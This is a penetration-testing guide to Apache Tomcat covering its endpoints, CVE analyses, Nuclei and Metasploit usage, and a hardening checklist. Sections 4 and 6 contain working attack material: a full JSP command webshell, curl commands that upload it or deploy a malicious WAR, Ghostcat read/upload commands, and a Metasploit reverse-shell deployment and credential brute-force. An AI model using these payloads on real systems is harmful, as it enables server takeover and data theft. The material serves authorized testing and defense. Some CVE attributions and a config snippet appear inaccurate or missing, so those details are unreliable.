Apache Tomcat Penetration Testing Guide: CVEs, Endpoints, and Techniques

Last Updated: October 15, 2025 | For Red & Blue Teams

1. Introduction

Apache Tomcat is the most widely used open-source Java Servlet container and web server for Java-based applications. Developed and maintained by the Apache Software Foundation, it implements several Java EE specifications including Java Servlet, JavaServer Pages (JSP), Java EL, and WebSocket. Due to its widespread adoption in enterprise environments, government systems, and cloud infrastructures, Tomcat is a frequent target during penetration tests and red team engagements.

Despite its robustness, Tomcat's security posture heavily depends on proper configuration, version management, and operational hygiene. Common issues include exposed management interfaces, default credentials, outdated versions vulnerable to known exploits, and misconfigured file permissions. This guide provides a comprehensive, technically detailed resource for both offensive and defensive security professionals.

This document covers the following key areas in depth:

A complete enumeration of all default and hidden endpoints in Apache Tomcat deployments
A detailed analysis of all critical and high-severity CVEs from 2000 to 2025, including root cause, impact, affected versions, and real-world relevance
Working Proof-of-Concept (PoC) code snippets for major vulnerabilities, ready for authorized testing
A full listing of all relevant Nuclei templates from the official projectdiscovery repository, with explanations of how each template functions
All applicable Metasploit modules, including step-by-step usage examples and internal workflow explanations
Technical deep dives into how exploits like Ghostcat, HTTP PUT bypass, and deserialization attacks actually work at the protocol and code level
A comprehensive hardening checklist for system administrators and blue teams
Strategic recommendations for both red and blue team operations

2. Complete List of Apache Tomcat Endpoints

Apache Tomcat ships with several built-in web applications and management interfaces. These are installed by default in most distributions and are often left enabled in production environments, creating significant attack surface. Understanding these endpoints is crucial for both enumeration and exploitation.

2.1 Core Management Interfaces

The Manager and Host Manager applications provide powerful administrative capabilities. Access to these interfaces typically requires authentication, but default or weak credentials are common.

Endpoint	Description	Authentication Required?
`/manager/html`	Web-based graphical user interface for managing deployed web applications. Allows deployment, undeployment, starting, stopping, and session viewing of applications.	Yes
`/manager/text`	Text-based API for automation. Supports commands like `deploy`, `undeploy`, `list`, `reload`, and `sessions` via HTTP GET or POST requests.	Yes
`/manager/status`	Provides server status information including JVM memory usage, thread counts, and request statistics. Often requires additional role permissions beyond basic manager access.	Yes
`/host-manager/html`	Web GUI for managing virtual hosts in Tomcat. Allows creation, deletion, and configuration of virtual hosts dynamically.	Yes
`/host-manager/text`	Text-based API equivalent of the Host Manager GUI, suitable for scripting and automation.	Yes

2.2 Default Web Applications

These applications are included for demonstration and documentation purposes but should be removed in production.

/ROOT/ – The default root web application. Serves content when no context path is specified.
/docs/ – Official Tomcat documentation. The file /docs/RELEASE-NOTES.txt often reveals the exact Tomcat version.
/examples/ – Collection of servlet and JSP examples. May leak classpath information or internal structure.
/examples/servlets/servlet/HelloWorldExample – A specific legacy servlet endpoint that may be present in older versions.
/balancer/ – Load balancer demonstration application (primarily in Tomcat 5 and 6).
/webdav/ – WebDAV sample application, if WebDAV support is enabled in the configuration.

2.3 Diagnostic and Hidden Paths

These paths are not directly linked but may be accessible under certain conditions or misconfigurations.

/manager/WEB-INF/web.xml – The deployment descriptor for the Manager application. Contains security constraints and servlet mappings. May be readable via path traversal or local file inclusion vulnerabilities.
/host-manager/WEB-INF/web.xml – Equivalent configuration file for the Host Manager application.
/jmxproxy/ – JMX proxy servlet that allows querying and invoking MBeans over HTTP. Must be explicitly enabled in server.xml.
/.git/, /CVS/, /svn/ – Source control metadata directories. Not Tomcat-specific but commonly found and highly sensitive if exposed.
/error/ – Custom error page directory, which may reflect user input in error messages, leading to XSS or information disclosure.

3. Critical CVEs (2000–2025) – With Technical Context

This section details the most impactful vulnerabilities in Apache Tomcat history, including root cause analysis, exploitation conditions, and real-world significance. The following table summarizes critical and high-severity CVEs, including recently discovered vulnerabilities from 2023-2025.

3.1 CVE Summary Table (2017-2025)

CVE ID	Severity	Vulnerability Type	Affected Versions
CVE-2025-48989	Important	Denial of Service (HTTP/2)	9.0.0.M1-9.0.107, 10.1.0-M1-10.1.34, 11.0.0-M1-11.0.2
CVE-2025-24813	Important	Remote Code Execution (Partial PUT)	9.0.0.M1-9.0.98, 10.1.0-M1-10.1.34, 11.0.0-M1-11.0.2
CVE-2025-31650	Important	Denial of Service (Invalid HTTP Priority Header)	9.0.76-9.0.102
CVE-2024-24549	Moderate	Denial of Service (HTTP/2 Header Limit)	Multiple
CVE-2023-24998	High	Denial of Service (Commons FileUpload)	Dependent on Commons FileUpload
CVE-2020-1938 (Ghostcat)	High	Arbitrary File Read / RCE	6.x, 7.x < 7.0.100, 8.x < 8.5.51, 9.x < 9.0.31
CVE-2017-12615	High	Remote Code Execution (HTTP PUT)	7.0.0 - 7.0.79
CVE-2013-2186	High	Deserialization File Disclosure	< 7.0.40, < 6.0.37
CVE-2009-2693	High	Default Credentials	Legacy versions
CVE-2007-5461	High	Directory Traversal	< 6.0.14

3.2 Recent CVEs (2023-2025) - Detailed Analysis

CVE-2025-48989 – DoS in HTTP/2 due to "Made You Reset" Attack

Root Cause: Tomcat's HTTP/2 implementation was vulnerable to the "made you reset" attack, where a malicious client can trigger stream resets that cause memory leaks.

Impact: Denial of Service typically manifesting as an OutOfMemoryError, causing the server to crash or become unresponsive.

Affected Versions: Apache Tomcat 9.0.0.M1 to 9.0.107, 10.1.0-M1 to 10.1.34, 11.0.0-M1 to 11.0.2

Fixed In: 9.0.108, 10.1.35, 11.0.3

Public Date: August 13, 2025

CVE-2025-24813 – Remote Code Execution via Partial PUT

Root Cause: The original implementation of partial PUT used a temporary file based on the user-provided file name and path with the path separator replaced by "." This allowed attackers to overwrite serialized session files on disk.

Impact: Remote Code Execution, information disclosure, and malicious content injection into uploaded files when writes are enabled for the default servlet.

Affected Versions: Apache Tomcat 9.0.0.M1 to 9.0.98, 10.1.0-M1 to 10.1.34, 11.0.0-M1 to 11.0.2

Fixed In: 9.0.99, 10.1.35, 11.0.3

Public Date: February 10, 2025

Requirements for Exploitation: Writes enabled for default servlet (disabled by default), partial PUT support (enabled by default), and specific URL patterns for security-sensitive uploads.

CVE-2025-31650 – DoS via Invalid HTTP Priority Header

Root Cause: Incorrect error handling for some invalid HTTP priority headers resulted in incomplete cleanup of failed requests, creating a memory leak.

Impact: A large number of specially crafted requests could trigger an OutOfMemoryException, resulting in denial of service.

Affected Versions: Apache Tomcat 9.0.76 to 9.0.102

Fixed In: 9.0.104

Public Date: April 28, 2025

3.3 Classic CVEs - Still Relevant

CVE-2020-1938 – "Ghostcat"

Root Cause: The Apache JServ Protocol (AJP) connector in Tomcat treats all incoming AJP requests as trusted. The protocol allows setting arbitrary request attributes, including javax.servlet.include.request_uri. An attacker can manipulate this attribute to force Tomcat to read and return the contents of any file within the web application context.

Impact: Arbitrary file read within the web application directory. This typically allows reading WEB-INF/web.xml, which often contains database credentials, API keys, and other sensitive configuration data. In rare configurations where file upload is possible via another vector, this can lead to remote code execution (RCE) by including an uploaded file.

Affected Versions: Apache Tomcat 6.x (all versions), 7.x versions prior to 7.0.100, 8.x versions prior to 8.5.51, and 9.x versions prior to 9.0.31.

Why It Matters: The AJP connector listens on port 8009 by default and is frequently exposed to untrusted networks in cloud and on-premises deployments. Many administrators are unaware of its existence or assume it is internal-only. This vulnerability received widespread attention due to its high impact and prevalence.

CVE-2017-12615 – Remote Code Execution via HTTP PUT Method

Root Cause: In affected versions, if the readonly initialization parameter of the DefaultServlet is set to false (which is not the default in secure configurations but may be enabled for development), Tomcat allows HTTP PUT requests to upload files to the server. A critical bypass exists: by appending a trailing slash (/) to the filename (e.g., shell.jsp/), Tomcat interprets the request as creating a directory and writes the file with the intended extension, thereby bypassing extension-based security checks.

Impact: Full remote code execution by uploading a JSP webshell.

Affected Versions: Apache Tomcat 7.0.0 through 7.0.79, but only when the HTTP PUT method is enabled (i.e., readonly=false in conf/web.xml).

Exploit Trick: The trailing slash (/) in the PUT request path tricks Tomcat's resource handling logic into saving the file with the correct extension, allowing execution of JSP code.

CVE-2013-2186 – Deserialization-Based File Disclosure

Root Cause: The Tomcat Manager application deserializes user-controlled data from HTTP request parameters without proper validation. Specifically, it uses Java object deserialization to process session data, which can be manipulated to perform path traversal.

Impact: Arbitrary file read on the server filesystem, including sensitive files like /etc/passwd or application configuration files.

Affected Versions: Apache Tomcat versions prior to 7.0.40 and 6.0.37.

Technical Detail: The exploit crafts a serialized Java object (typically a org.apache.commons.fileupload.disk.DiskFileItem) that points to a target file. When the Manager application deserializes this object during session handling, it reads the file and may reflect its contents in an error message or response.

CVE-2009-2693 – Default Credentials in Sample Applications

Root Cause: The default tomcat-users.xml configuration file included in sample distributions contained hardcoded credentials such as tomcat:tomcat, admin:admin, and role1:tomcat.

Impact: Full access to the Manager and Host Manager applications, leading to WAR deployment and remote code execution.

Legacy Risk: Despite being old, this issue persists in embedded systems, IoT devices, legacy enterprise applications, and forgotten test servers. It remains one of the most commonly exploited Tomcat vulnerabilities in the wild due to its simplicity.

CVE-2007-5461 – Directory Traversal Vulnerability

Root Cause: Improper validation of file paths in the static resource handler allowed attackers to traverse outside the intended web application directory using encoded path sequences.

Impact: Arbitrary file read on the server, including system files and configuration data.

Affected Versions: Apache Tomcat versions prior to 6.0.14.

Exploit Example: On Windows systems, a request to /..%5c..%5cWindows/system.ini could retrieve the system.ini file.

4. Proof-of-Concept (PoC) Exploits

The following are working, educational Proof-of-Concept examples for the most critical vulnerabilities. These should only be used in authorized penetration tests.

4.1 Ghostcat (CVE-2020-1938) – File Read

Using the publicly available ajpShooter.py tool:

python3 ajpShooter.py http://target.com 8009 /WEB-INF/web.xml read

If file upload is possible via another vector, RCE may be achieved:

python3 ajpShooter.py http://target.com 8009 /uploads/shell.jsp upload shell.jsp
curl http://target.com/uploads/shell.jsp?cmd=id

4.2 HTTP PUT Upload (CVE-2017-12615)

Upload a JSP webshell using cURL:

curl -X PUT -T shell.jsp http://target.com/shell.jsp/

Contents of shell.jsp:

<%@ page import="java.util.*,java.io.*"%>
<%
  String cmd = request.getParameter("cmd");
  if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String l;
    while ((l = r.readLine()) != null) {
      out.println(l);
    }
  }
%>

Execute commands:

curl http://target.com/shell.jsp?cmd=whoami

4.3 WAR Deployment via Manager API

Create a malicious WAR file:

echo '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>' > cmd.jsp
jar -cvf cmd.war cmd.jsp

Deploy using cURL:

curl -u 'tomcat:s3cret' --upload-file cmd.war \
  'http://target.com/manager/text/deploy?path=/cmd'

Execute:

curl http://target.com/cmd/cmd.jsp?cmd=id

5. Nuclei Templates for Tomcat

Nuclei is a fast, template-based vulnerability scanner that uses YAML-defined requests and matchers to detect security issues. The following templates are part of the official projectdiscovery/nuclei-templates repository.

Nuclei scanning Tomcat for vulnerabilities

5.1 Official Templates (projectdiscovery/nuclei-templates)

Template Path	Purpose	Link
`vulnerabilities/apache/tomcat/tomcat-ghostcat.yaml`	Detects the Ghostcat vulnerability (CVE-2020-1938) by attempting to read `/WEB-INF/web.xml` via the AJP protocol on port 8009.	View on GitHub
`vulnerabilities/apache/tomcat/tomcat-put-method.yaml`	Checks if the HTTP PUT method is enabled on the server by sending an OPTIONS request and verifying if PUT is listed in the Allow header.	View on GitHub
`misconfiguration/tomcat/tomcat-default-login.yaml`	Tests for default credentials (e.g., tomcat:tomcat, admin:admin) against the Tomcat Manager interface.	View on GitHub
`exposures/configs/tomcat/tomcat-users-leak.yaml`	Checks for accidental exposure of the `tomcat-users.xml` configuration file, which contains user credentials.	View on GitHub
`exposures/files/tomcat-webxml.yaml`	Attempts to read the `/manager/WEB-INF/web.xml` file, which may be accessible due to misconfigurations or path traversal.	View on GitHub
`vulnerabilities/apache/tomcat/tomcat-manager-path-traversal.yaml`	Tests for the path traversal vulnerability in the Manager application (CVE-2013-2186) by attempting to read `/etc/passwd`.	View on GitHub

5.2 How Nuclei Templates Work

tomcat-put-method.yaml: Sends an HTTP OPTIONS request to a test path and checks if the response header Allow contains the string "PUT". If so, it reports the host as potentially vulnerable to CVE-2017-12615.
tomcat-ghostcat.yaml: Uses a built-in AJP client to connect to port 8009, sends a crafted AJP request to read /WEB-INF/web.xml, and checks if the response contains XML content indicative of a successful read.
tomcat-default-login.yaml: Performs HTTP basic authentication attempts using a list of common username/password pairs against /manager/html and checks for a 200 OK response with Manager-specific content.

5.3 Running Nuclei Against Tomcat

nuclei -u http://target.com \
  -t nuclei-templates/vulnerabilities/apache/tomcat/ \
  -t nuclei-templates/misconfiguration/tomcat/ \
  -t nuclei-templates/exposures/configs/tomcat/

6. Metasploit Modules

Metasploit Framework includes several modules specifically designed for Apache Tomcat exploitation. These modules automate the exploitation process once valid credentials or specific conditions are met.

Metasploit Tomcat WAR deployment exploit

6.1 Core Modules

Metasploit Module	Purpose	Requirements
`exploit/multi/http/tomcat_mgr_deploy`	Deploys a malicious WAR file to the Tomcat server via the Manager application's text API, resulting in remote code execution.	Valid credentials for the Manager application with deployment privileges.
`exploit/multi/http/tomcat_mgr_upload`	Uploads a JSP payload directly via the HTTP PUT method to achieve remote code execution.	HTTP PUT method must be enabled (readonly=false in web.xml) on the target Tomcat server.
`auxiliary/scanner/http/tomcat_mgr_login`	Performs brute-force or dictionary attacks against the Tomcat Manager login interface.	Exposed `/manager/html` endpoint.
`auxiliary/scanner/http/tomcat_enum`	Enumerates the Tomcat version and checks for the presence of default applications and endpoints.	Any accessible Tomcat instance.
`auxiliary/scanner/http/tomcat_utf8_traversal`	Tests for directory traversal vulnerabilities using UTF-8 encoding bypasses (relevant to older CVEs).	Legacy Tomcat versions (pre-6.0.14).

6.2 Example: WAR Deployment with Metasploit

msf6 > use exploit/multi/http/tomcat_mgr_deploy
msf6 exploit(multi/http/tomcat_mgr_deploy) > set RHOSTS 192.168.1.10
msf6 exploit(multi/http/tomcat_mgr_deploy) > set USERNAME tomcat
msf6 exploit(multi/http/tomcat_mgr_deploy) > set PASSWORD s3cret
msf6 exploit(multi/http/tomcat_mgr_deploy) > set TARGET 0
msf6 exploit(multi/http/tomcat_mgr_deploy) > set PAYLOAD java/jsp_shell_reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_deploy) > set LHOST 192.168.1.5
msf6 exploit(multi/http/tomcat_mgr_deploy) > run

6.3 Example: Brute-Force Manager Credentials

msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.1.10
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set USER_FILE /usr/share/wordlists/tomcat-users.txt
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set PASS_FILE /usr/share/wordlists/tomcat-pass.txt
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run

7. How Exploits Work – Technical Deep Dive

7.1 Ghostcat (ajpShooter) Internals

The AJP protocol is a binary protocol designed for communication between a web server (like Apache HTTPD) and Tomcat. It includes a feature to set request attributes. The ajpShooter tool crafts an AJP packet that sets the attribute javax.servlet.include.request_uri to a sensitive file path like /WEB-INF/web.xml. Because Tomcat trusts AJP requests as coming from a local reverse proxy, it processes this as a server-side include and returns the file contents in the HTTP response body.

7.2 HTTP PUT Bypass Mechanism

In vulnerable Tomcat versions, the DefaultServlet checks file extensions only when the requested path does not end with a slash. By sending a PUT request to /shell.jsp/, Tomcat interprets this as a request to create a directory named shell.jsp, but due to internal resource handling logic, it actually writes the uploaded content to a file named shell.jsp in the web root. This file is then executable as a JSP page.

7.3 Deserialization Exploitation (CVE-2013-2186)

The Tomcat Manager application uses Java object deserialization to restore session data. An attacker can send a serialized Java object (e.g., using ysoserial) that, when deserialized, performs file operations. Specifically, a crafted DiskFileItem object can be made to read an arbitrary file, and under certain error conditions, the file contents may be reflected in the HTTP response, leading to information disclosure.

7.4 Partial PUT Exploitation (CVE-2025-24813)

The vulnerability in the partial PUT implementation stems from how Tomcat handles temporary files during chunked uploads. When a client sends a partial PUT request, Tomcat creates a temporary file based on the user-provided path, replacing path separators with dots. An attacker can craft a malicious path that, when processed, overwrites critical files such as serialized session objects stored on disk. By overwriting session files with malicious serialized objects, the attacker can achieve remote code execution when the session is deserialized by the application.

8. Hardening & Mitigation

Preventing Tomcat exploitation requires a defense-in-depth approach. The following checklist should be implemented in all production environments.

8.1 Essential Hardening Steps

Disable AJP Connector: Unless absolutely required, comment out or remove the AJP connector from conf/server.xml. If required, bind it to localhost only: address="127.0.0.1".
Set readonly=true: In conf/web.xml, ensure the DefaultServlet has readonlytrue.
Remove Sample Applications: Delete the entire directories for webapps/docs, webapps/examples, webapps/host-manager, and webapps/manager if not needed. If Manager is required, restrict access strictly.
Use Strong Credentials: Never use default credentials. Use long, complex passwords and rotate them regularly. Consider integrating with LDAP or other enterprise identity systems.
Restrict Manager Access by IP: Add a RemoteAddrValve to webapps/manager/META-INF/context.xml:
Run as Non-Root User: Create a dedicated tomcat user with minimal privileges. Never run Tomcat as root or Administrator.
Enable Security Manager: For high-security environments, run Tomcat with the Java Security Manager enabled to restrict file and network access.
Monitor and Log: Enable detailed access logging and monitor for anomalous activity such as WAR deployments, PUT requests, or brute-force attempts against Manager.
Keep Updated: Subscribe to Apache Tomcat security advisories and apply patches promptly.
Configure Multipart Upload Limits: Set maxPartCount and maxPartHeaderSize parameters on the Connector to prevent DoS attacks via multipart uploads (CVE-2025-48988, CVE-2025-48976).

8.2 Configuration File Checklist

File	Setting	Recommended Value	Purpose
`conf/server.xml`	AJP Connector	Disabled or `address="127.0.0.1"`	Prevent Ghostcat and AJP-based attacks
`conf/web.xml`	DefaultServlet readonly	`true`	Prevent HTTP PUT file upload attacks
`conf/tomcat-users.xml`	User credentials	Strong, unique passwords	Prevent credential-based attacks
`webapps/manager/META-INF/context.xml`	RemoteAddrValve	Restricted IP ranges	Limit Manager access to trusted networks
`conf/server.xml`	Connector maxPartCount	`10` (or appropriate limit)	Prevent multipart upload DoS
`conf/server.xml`	Connector maxPartHeaderSize	`512` bytes	Prevent header-based DoS in uploads

9. Conclusion

Apache Tomcat remains a critical component in the Java ecosystem, but its security is not automatic. The majority of compromises stem from preventable misconfigurations and failure to patch known vulnerabilities. Red teams should focus on exposed management interfaces, default credentials, AJP exposure, and HTTP method misconfigurations. Blue teams must implement strict hardening, continuous monitoring, and timely patching. This guide provides the technical depth needed for both sides to operate effectively and responsibly.

The recent CVEs from 2023-2025 demonstrate that Tomcat security research remains active, with new attack vectors being discovered regularly. Organizations must maintain vigilance, subscribe to security advisories, and implement a comprehensive defense-in-depth strategy that includes network segmentation, access controls, input validation, and regular security assessments.

10. References

Final Ethical Reminder: The techniques and tools described in this document are intended solely for authorized security assessments and educational purposes. Unauthorized access to computer systems is illegal and unethical. Always operate within the boundaries of your engagement scope and applicable laws.